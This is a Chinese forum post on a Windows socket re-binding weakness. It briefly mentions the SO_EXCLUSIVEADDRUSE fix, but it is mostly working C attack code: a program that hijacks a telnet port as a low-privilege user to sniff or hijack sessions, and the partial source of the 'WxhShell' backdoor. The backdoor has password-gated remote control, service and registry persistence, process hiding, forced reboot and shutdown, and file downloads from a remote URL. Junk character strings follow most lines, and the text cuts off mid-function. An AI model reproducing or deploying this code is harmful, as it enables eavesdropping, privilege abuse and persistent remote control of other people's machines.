社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17208阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ' ZB%McS  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B[*i}k%i  
b_LzG_n!   
  saddr.sin_family = AF_INET; XYn$yR\dj  
Xu T|vh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gi`ZFq@  
CUtk4;^y#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *zx;81X=  
/q^( uWu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EUNG&U  
c]O4l2nCL  
  这意味着什么?意味着可以进行如下的攻击: x^ Wgo`v)  
57#:GN$EL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ) HmpVH  
g_q{3PW.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Di L@NU!$q  
 t9=rr>8)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4ASc`w*0  
9:m+mpL=9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )PwDP  
;^xku%u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ':fVb3A[*d  
fu|I(^NV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rVO+ vhih  
L h0<A%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }b{N[  
R"tLu/Sn  
  #include @U9ov >E  
  #include  g6~uf4;  
  #include 5zU D W?  
  #include    >Qi2;t~G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;+5eE`]a/L  
  int main() ?>w%Lg{L}  
  { +XQS -=  
  WORD wVersionRequested; [k.<x'#  
  DWORD ret; A/o=a#  
  WSADATA wsaData; {:? -)Xq  
  BOOL val; !W6]+  
  SOCKADDR_IN saddr; x;C\G`9N  
  SOCKADDR_IN scaddr; ;Z8K3p  
  int err; e06r5%|.%  
  SOCKET s; 8'f:7KF  
  SOCKET sc; *l5/q\D  
  int caddsize; sqkPC_;A  
  HANDLE mt; F &uU ,);  
  DWORD tid;   z7GLpTa  
  wVersionRequested = MAKEWORD( 2, 2 ); ;Neld #%J  
  err = WSAStartup( wVersionRequested, &wsaData ); No h*1u*  
  if ( err != 0 ) { }3QEclZr  
  printf("error!WSAStartup failed!\n"); "d{ |_Cf  
  return -1; WyO10yvR  
  } :V >Z|?[*H  
  saddr.sin_family = AF_INET; O8M;q!)y  
   p! Hpq W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i5rAb<q`  
7q(RQQp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9V\5`QXu  
  saddr.sin_port = htons(23); vQ 5 p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k3u3X~u  
  { w%`7,d u|  
  printf("error!socket failed!\n"); l.FkX  
  return -1; ':J[KWuV  
  } sv =6?uYW  
  val = TRUE; O,hT< s "  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h19c*,0z!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }+,;wj~  
  { Z}WMpp^r  
  printf("error!setsockopt failed!\n"); 7hQrL+%q8  
  return -1; <&Y7Q[  
  } $(G.P!/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]^E<e!z={$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  >.0B%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K oo%mr   
L_Ff*   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +Y6=;*j$  
  { O*X ]oX  
  ret=GetLastError(); &KT*rL  
  printf("error!bind failed!\n"); Il,2^54q  
  return -1; E&/#Ov  
  } 1d"g $i4e  
  listen(s,2); r_F\]68  
  while(1) EH=[!iW;  
  { t*iKkV^aE  
  caddsize = sizeof(scaddr); 2ntL7F<ow  
  //接受连接请求 !Qy%sY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wa5wkuS)ld  
  if(sc!=INVALID_SOCKET) <Y9%oJn%  
  { !g'kWE[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0NL~2Qf_4  
  if(mt==NULL) xk7 MMRb  
  { (p>?0h9[  
  printf("Thread Creat Failed!\n"); .nl!KzO6g  
  break; *j6K QZ"  
  } MAb*4e#  
  } m:SG1m_6  
  CloseHandle(mt); ]?rVram;z  
  } g 0O~5.f  
  closesocket(s); L 7VDZCV  
  WSACleanup(); mSdByT+dG  
  return 0; ~.7/o0'+  
  }   @G,pM: t  
  DWORD WINAPI ClientThread(LPVOID lpParam) T+1:[bqK  
  { v#c'p^T  
  SOCKET ss = (SOCKET)lpParam; UTwXN |'|  
  SOCKET sc; A{NKHn>%`  
  unsigned char buf[4096]; !LJEo>D  
  SOCKADDR_IN saddr; XB0G7o%1  
  long num; }:+SA  
  DWORD val; VW&EdrR,S  
  DWORD ret; *@)0TL( 03  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x$hhH=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ec'Hlsgh&T  
  saddr.sin_family = AF_INET; Z mVw5G q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w.X MyHj  
  saddr.sin_port = htons(23); w2X0.2)P2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fab. %$  
  { Cfs2tN  
  printf("error!socket failed!\n"); @I"&k!e<2  
  return -1; G.")Bg  
  } #ME!G/  
  val = 100; ;*u"hIl1/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e'I/}J  
  { ml,FBBGq|-  
  ret = GetLastError(); \rj>T6  
  return -1; NMs 8^O|0  
  } Jn7T5$pJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YuXCRw9p;  
  { baQORU=X  
  ret = GetLastError(); S2i*Li  
  return -1; OI^??joQ  
  } YY zUg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &L[i"1a  
  { whi#\>i  
  printf("error!socket connect failed!\n"); YjCHKI"e  
  closesocket(sc); m>{a<N  
  closesocket(ss); %1oB!+tv  
  return -1; .} O@<t  
  } Wu~cy}\  
  while(1) ]4ib^R~Z  
  { PZ >(cvX&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v!`:{)2C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l|81_BC"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [I?[N.v  
  num = recv(ss,buf,4096,0); <78*-Ob  
  if(num>0) 3q W](  
  send(sc,buf,num,0); ?6W v["%  
  else if(num==0) W:maE9E=  
  break; Z;O!KsJ  
  num = recv(sc,buf,4096,0); )n6,uTlOw  
  if(num>0) Cag^$nj  
  send(ss,buf,num,0); gvFJ~lL  
  else if(num==0) })+iAxR  
  break; C$0rl74Wi  
  } aUF{57,<  
  closesocket(ss); ~GE|,Np  
  closesocket(sc); -5oYGLS$y3  
  return 0 ; U!{~L$S  
  } 3$?nzKTW\  
p()q)P  
d"yJ0F  
========================================================== &OlX CxH  
ihJ!]#Fbm  
下边附上一个代码,,WXhSHELL .i {yW  
3:O|p[2)L  
========================================================== 8.G<+.  
\QQWhwE  
#include "stdafx.h" ;m7~!m)  
b<!' WpY-  
#include <stdio.h> tPa( H;  
#include <string.h> *8Su:=*b  
#include <windows.h> IL:[0q  
#include <winsock2.h> >z~_s6#CP  
#include <winsvc.h> x+DETRLP  
#include <urlmon.h> !?R#e`}  
s2( 7z9jR  
#pragma comment (lib, "Ws2_32.lib") <"K2t Tg.  
#pragma comment (lib, "urlmon.lib") u$CN$ynS  
15VvZ![$V  
#define MAX_USER   100 // 最大客户端连接数 M3elog:M  
#define BUF_SOCK   200 // sock buffer *o5[P\'6  
#define KEY_BUFF   255 // 输入 buffer (-Q~@Q1  
amq,^  
#define REBOOT     0   // 重启 _xH<R  
#define SHUTDOWN   1   // 关机 }Ml BmD  
<2oMk#Ng^  
#define DEF_PORT   5000 // 监听端口 A9g/At_  
AOkG.u-k  
#define REG_LEN     16   // 注册表键长度 !4!qHJISa  
#define SVC_LEN     80   // NT服务名长度 C:t?HLY)fG  
*P5\T4!+d  
// 从dll定义API J5{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RT3(utwO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =>lX brJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VxS3lR=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |QF_E4ISD  
+)bn}L>R l  
// wxhshell配置信息 3M(*q4A$"  
struct WSCFG { F Z RnIg  
  int ws_port;         // 监听端口 ~NPhVlT  
  char ws_passstr[REG_LEN]; // 口令  zR'EQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no q.<)0nk  
  char ws_regname[REG_LEN]; // 注册表键名 $m~&| s  
  char ws_svcname[REG_LEN]; // 服务名 GRJ6|T$!?$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z.\r7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 glc<(V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cg?Mk6i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1=5HQ~|[TO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <wb6)U.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [3qH? 2&  
<,0/BMz  
}; 2LR y/ah  
N P+ vi@Ud  
// default Wxhshell configuration B6;>V`!  
struct WSCFG wscfg={DEF_PORT, k0N>J8y  
    "xuhuanlingzhe", yH]Q;X '  
    1, |c8\alw  
    "Wxhshell", :!Dm,PP%  
    "Wxhshell", iPV-w_HQ  
            "WxhShell Service", 2}XRqa.|  
    "Wrsky Windows CmdShell Service", RM,aG}6M)M  
    "Please Input Your Password: ", ja~Dp5  
  1, G u_\ySV/y  
  "http://www.wrsky.com/wxhshell.exe", +6l#hO7h  
  "Wxhshell.exe" 9xj }<WM  
    }; #]5KWXC'~  
/>}zB![(K  
// 消息定义模块 boCi*]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E9>z.vV   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4i{Xs5zk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [ dVBsi  
char *msg_ws_ext="\n\rExit."; X<.l(9$  
char *msg_ws_end="\n\rQuit."; |a"]@W$>  
char *msg_ws_boot="\n\rReboot..."; ]|PTZ1?j  
char *msg_ws_poff="\n\rShutdown..."; vV$t`PEY  
char *msg_ws_down="\n\rSave to "; eR>8V8@  
WA1d8nl  
char *msg_ws_err="\n\rErr!"; ,j`48S@  
char *msg_ws_ok="\n\rOK!"; eGg6wd  
\-]tvgA~&  
char ExeFile[MAX_PATH]; 1goRO  
int nUser = 0; Q:Pp'[ RK  
HANDLE handles[MAX_USER]; jQ'g'c!  
int OsIsNt; Q|{b8K  
o+x! (  
SERVICE_STATUS       serviceStatus; J ;z`bk^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k7rg:P  
<z2.A/L  
// 函数声明 $\vNST E  
int Install(void); Rvu5#_P  
int Uninstall(void); K-\wx5#l/  
int DownloadFile(char *sURL, SOCKET wsh); f42F@M(:  
int Boot(int flag); hp/pm6  
void HideProc(void); w.aEc}@(^  
int GetOsVer(void); Ri`6X_xU  
int Wxhshell(SOCKET wsl); +%,oq ]<[,  
void TalkWithClient(void *cs); Yb<:1?76L  
int CmdShell(SOCKET sock); hZ>m:es  
int StartFromService(void); kiN,N]-V  
int StartWxhshell(LPSTR lpCmdLine); 9M7P|Q  
"&f|<g5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kO*\JaD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]o"E 4Vht  
`5h^!="  
// 数据结构和表定义 @ewi96  
SERVICE_TABLE_ENTRY DispatchTable[] = BI-'&kPk  
{ d7r!<u&/  
{wscfg.ws_svcname, NTServiceMain}, 5vR])T/S0  
{NULL, NULL} 'v0rnIsI?  
}; $'5rS$]a/  
[o(!/38"@=  
// 自我安装 \6/ Gy!0h-  
int Install(void) vxk0@k_  
{ j #: ARb  
  char svExeFile[MAX_PATH]; VK*`&D<P  
  HKEY key; ^ swj!da  
  strcpy(svExeFile,ExeFile); R\7r!38  
<+q`Dk  
// 如果是win9x系统,修改注册表设为自启动 \ILNx^$EL  
if(!OsIsNt) { x`C"Z7t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,:J[|9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B/@LE{qUn  
  RegCloseKey(key); T+B-R\@t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uK(]@H7~!c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `kvIw,c.  
  RegCloseKey(key); wN%lc3[/z2  
  return 0; 2p;I<C:Eo  
    } wL:7G  
  } aj1,h)P  
} S},Cz  
else { )i:*r8*~  
(X\]!'A  
// 如果是NT以上系统,安装为系统服务 F Xr\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n^|xp;] :  
if (schSCManager!=0) 5HHf3E [  
{ tl~ZuS/  
  SC_HANDLE schService = CreateService rf@47H  
  ( S~fP$L5  
  schSCManager, 6[R6P:v&'G  
  wscfg.ws_svcname, EHhc2^e  
  wscfg.ws_svcdisp, w nQy   
  SERVICE_ALL_ACCESS, jz=V*p}6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,66(*\xT  
  SERVICE_AUTO_START, gSwHPm%zn  
  SERVICE_ERROR_NORMAL, WW6-oQs_#*  
  svExeFile, ge?0>UU;~  
  NULL, I;wxgWOP  
  NULL, >iK LC  
  NULL, 0iR?r+|  
  NULL, J> ,w},`  
  NULL QbSLSMoL  
  ); I Ij:3HP  
  if (schService!=0) X|!@%wuGC  
  { 8mdVh\i!Kf  
  CloseServiceHandle(schService); gq*W 0S  
  CloseServiceHandle(schSCManager); $`\qY ^.(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h~qvd--p0  
  strcat(svExeFile,wscfg.ws_svcname); <<gW`KF   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ju;OQC~[L]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^pew'p HQ  
  RegCloseKey(key); *5s*-^'#!  
  return 0; adri02C/  
    } ~fL`aU&  
  } ft@#[Bkx  
  CloseServiceHandle(schSCManager); vyWx{ @  
} bxL'k/Y$  
} S[y_Ew zq  
1/ j >|  
return 1; FxK!h.C.  
} vNdX  
C{t}q*fG 5  
// 自我卸载 q2`mu4B  
int Uninstall(void) JS\]|~Gd  
{ y,jpd#Y  
  HKEY key; @Ss W  
99'c\[fd'  
if(!OsIsNt) { `<T4 En  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XrMw$_0)  
  RegDeleteValue(key,wscfg.ws_regname); XJl 3\*  
  RegCloseKey(key); &"A:_5AU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -R];tpddR5  
  RegDeleteValue(key,wscfg.ws_regname); %M8Q6  
  RegCloseKey(key); Wq1OYZ,  
  return 0; ei1;@k/  
  } b 5K"lPr  
} @_c&lToj_  
} As^eL/m2L  
else { ?/,V{!UTtq  
, .=7{y~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n ^qwE  
if (schSCManager!=0) tOk=m'aUK  
{ x2b t^!t.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  =mcQe^M  
  if (schService!=0) xa?auv!  
  { EUgKJ=jw  
  if(DeleteService(schService)!=0) { #-"C_~-MH  
  CloseServiceHandle(schService); d:]ZFk_*  
  CloseServiceHandle(schSCManager); |VyN>&r~6  
  return 0; QGErQ +l  
  } fcohYo5mh  
  CloseServiceHandle(schService); w9gfva$&  
  } &!'R'{/?X  
  CloseServiceHandle(schSCManager); ,%V%g!6{  
} w'xPKO$bzR  
} 23bTCp.d  
HG5E,^1n  
return 1; _IxYnm`pc  
} 6*|EB|%n  
l[WX77bp=  
// 从指定url下载文件 A&-2f]L tl  
int DownloadFile(char *sURL, SOCKET wsh) wYv++< z  
{ dd6l+z  
  HRESULT hr; &t6SI'  
char seps[]= "/"; 8f'r_,"  
char *token; Nh4&3"g|  
char *file; mv/ Nz?  
char myURL[MAX_PATH]; nU2w\(3|  
char myFILE[MAX_PATH]; <]`|HJoy  
!0KN A1w,  
strcpy(myURL,sURL); CX5>/  
  token=strtok(myURL,seps); bNvc@oo  
  while(token!=NULL) "%rU1/@#  
  { uXG$YDKqC  
    file=token; 3 }#rg  
  token=strtok(NULL,seps); criNeKa  
  } w,!N{hv(  
m'ZxmsFo  
GetCurrentDirectory(MAX_PATH,myFILE); iE ,"YCK  
strcat(myFILE, "\\");  N=!k2+  
strcat(myFILE, file); 2jP(D%n  
  send(wsh,myFILE,strlen(myFILE),0); 7Mh!@Rd_V  
send(wsh,"...",3,0); vsB3n$2@u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  SmAF+d  
  if(hr==S_OK) .SWn/Kk  
return 0; I]91{dq  
else }[;r-5}  
return 1; ).MV1@s  
3X`N~_+  
} BGO pUy  
Z/e[$xT <  
// 系统电源模块 _+0c<'  
int Boot(int flag) a{kLAx[>  
{ LdX'V]ITh  
  HANDLE hToken; R\u5!M$::  
  TOKEN_PRIVILEGES tkp; pEG!j ~  
G8b`>@rZ  
  if(OsIsNt) { _U~~[I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |7miT!y8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xh*Nu HH  
    tkp.PrivilegeCount = 1; (^)(#CxO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 19\ V@d^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m{ rsjdnA  
if(flag==REBOOT) { hx}X=7w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gnie|[3  
  return 0; Y0o{@)Y:  
} lMjeq.5nP  
else { *Ud P1?Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nS^,Sq\Ak  
  return 0; s)kr=zdyo  
} R'B-$:u  
  } x\Kt}/97e  
  else { *XG.?%x*|  
if(flag==REBOOT) { \~>7n'd ]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9f3rMPVh(  
  return 0; fRcy$  
} <im<0;i&e  
else { 1Zgv+.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O|&SL03Z8  
  return 0; BvpUcICJ  
} ?; tz  
} xyi4U(;  
N/8B@}@n  
return 1; f2i9UZ$=e!  
} XlxM.;i0H  
LcmZ"M6  
// win9x进程隐藏模块 :gx]zxK  
void HideProc(void) ~PedR=Y0n  
{ $gaGaB  
`s_k+ g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $8NM[R.8^4  
  if ( hKernel != NULL ) 8} |!p>  
  { }?,Eb~q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tx}=c5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S+-V16{i  
    FreeLibrary(hKernel); NV;T*I8O  
  } [LKzH!  
_5v]69C#  
return; uP2Wy3`V  
} 'F Cmbry  
Gs(;&fw  
// 获取操作系统版本 _/h<4G6A  
int GetOsVer(void) ePiZHqIsv/  
{ (6X{ &  
  OSVERSIONINFO winfo; OBnvY2)Ri  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \&^U9=uq  
  GetVersionEx(&winfo); GBGna3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *~8g:;u  
  return 1; {6HgKI  
  else E#c9n%E\sz  
  return 0; SnG XEQ  
} -n6e;p]  
(kSb74*g  
// 客户端句柄模块 muIJeQ.C  
int Wxhshell(SOCKET wsl) H8qWY"<Vd  
{ 256V xn  
  SOCKET wsh; B1z7r0Rm,  
  struct sockaddr_in client; `/o|1vv@_  
  DWORD myID; K,@} 'N  
HnY.=_G  
  while(nUser<MAX_USER) hCB _g  
{ 9oj0X>| 1  
  int nSize=sizeof(client); {R7m qzt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !r9~K^EI  
  if(wsh==INVALID_SOCKET) return 1; fs8C ^Ik>~  
@4P_Yfn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a!;CY1>  
if(handles[nUser]==0) fTd":F  
  closesocket(wsh); *):s**BJ$  
else ~!'T!g%C  
  nUser++; =Kt!+^\")  
  } CiIIlE4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0MN)Z(Sa  
7E R!>l+  
  return 0; b:x*Hjf  
} r9~IR  
)?k~E=&o  
// 关闭 socket 0D}k ^W  
void CloseIt(SOCKET wsh) `6{4?v  
{ N7Kkz /  
closesocket(wsh); fILD~  
nUser--; e(jD[q  
ExitThread(0); )9kp[hY  
} >&)|fV&4  
eyG[1EEU  
// 客户端请求句柄 @EUvx  
void TalkWithClient(void *cs) ! Y'~?BI  
{ +3?.Vb%jY  
-9$.&D|  
  SOCKET wsh=(SOCKET)cs; a-9sc6@  
  char pwd[SVC_LEN]; 2z9N/SyN  
  char cmd[KEY_BUFF]; k<%y+v  
char chr[1]; U (A#}  
int i,j; v8K4u)  
2jyxP6t  
  while (nUser < MAX_USER) { k~qZ^9QB~  
g>_d,#F  
if(wscfg.ws_passstr) { ?1Uq ud  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ePTN^#|W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gO kum_  
  //ZeroMemory(pwd,KEY_BUFF); g3\1 3<  
      i=0; >C}KSyV;  
  while(i<SVC_LEN) { V#V<Kz  
= '<*mT<  
  // 设置超时 (sEZNo5n  
  fd_set FdRead; Q6fPqEX=  
  struct timeval TimeOut; )7a 4yTg!~  
  FD_ZERO(&FdRead); 1K[y)q  
  FD_SET(wsh,&FdRead); 0Yfz?:e  
  TimeOut.tv_sec=8; =[`gfw  
  TimeOut.tv_usec=0; &(~"OD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UsdUMt!u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t flUy\H>  
L7s _3\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JO\KTWtjO  
  pwd=chr[0]; _6C,w`[[6  
  if(chr[0]==0xd || chr[0]==0xa) { 2yA+zJ 46B  
  pwd=0; _ Zzne  
  break; t&rr;W]  
  } z A@w[.  
  i++; M.KXDD#O  
    } %QX"oRMn0  
fnudy% oo  
  // 如果是非法用户,关闭 socket n$ZxN"q <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B-tLRLWn   
} =}[m_rp&  
Q@.%^1Mp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }~! D]/B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .,gVquqMY  
+!"7=?}  
while(1) { wKAxUPzm  
QHe:  
  ZeroMemory(cmd,KEY_BUFF); xO;Qr.3PX  
(.~'\@  
      // 自动支持客户端 telnet标准   "Kf4v|6;  
  j=0; Hv|(V3-  
  while(j<KEY_BUFF) { jN2Xoh9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hPrE  
  cmd[j]=chr[0]; @{x+ln1r  
  if(chr[0]==0xa || chr[0]==0xd) { eHH9#Vrhc$  
  cmd[j]=0; u|\K kk  
  break; n|!O .+\b  
  } <W88;d33r=  
  j++; |p":s3K"Hy  
    } $lf\1)B~*  
pOIfKd  
  // 下载文件 t)b /c:ql  
  if(strstr(cmd,"http://")) {  h]?[}&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vz'<i. Yv4  
  if(DownloadFile(cmd,wsh)) Oa -~}hN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R|dSjEs  
  else tq5o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a|@1RH>7H  
  } *G;D u`;  
  else { kl9<l*  
pt8#cU\  
    switch(cmd[0]) { 0/?=FM >  
  5c3&4,,eR  
  // 帮助 b ;t b&o  
  case '?': { KPs @v@5M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |NaEXzo|qY  
    break; Wx-rW  
  } 5b%zpx0Y  
  // 安装 p|R]/C0f  
  case 'i': { =s[P =dU  
    if(Install()) k0!D9tk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %~YQl N  
    else LQ=Fck~[r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J|[`8 *8  
    break; R3} Z"  
    } j=TG&#e  
  // 卸载 h OF>Dj  
  case 'r': { Q OP8{~O  
    if(Uninstall())  S]&7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?kM53zbT#  
    else z}*74lhF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }8&L?B;90  
    break; X P_ V  
    } N^&T5cAC  
  // 显示 wxhshell 所在路径 e+>&? x  
  case 'p': { OPwO`pN  
    char svExeFile[MAX_PATH]; E[E[Za^Y  
    strcpy(svExeFile,"\n\r"); h;sdm/  
      strcat(svExeFile,ExeFile); ,R;wk=k  
        send(wsh,svExeFile,strlen(svExeFile),0); t= oTU,<  
    break; BFyVq  
    } xT1{O`  
  // 重启 *FEY"W+bY  
  case 'b': { 6sp?'GO`~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -QUvd1S40  
    if(Boot(REBOOT)) 3xz{[5<p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h *-j  
    else { S  H5G  
    closesocket(wsh);  a7UfRG  
    ExitThread(0); |);-{=.OdQ  
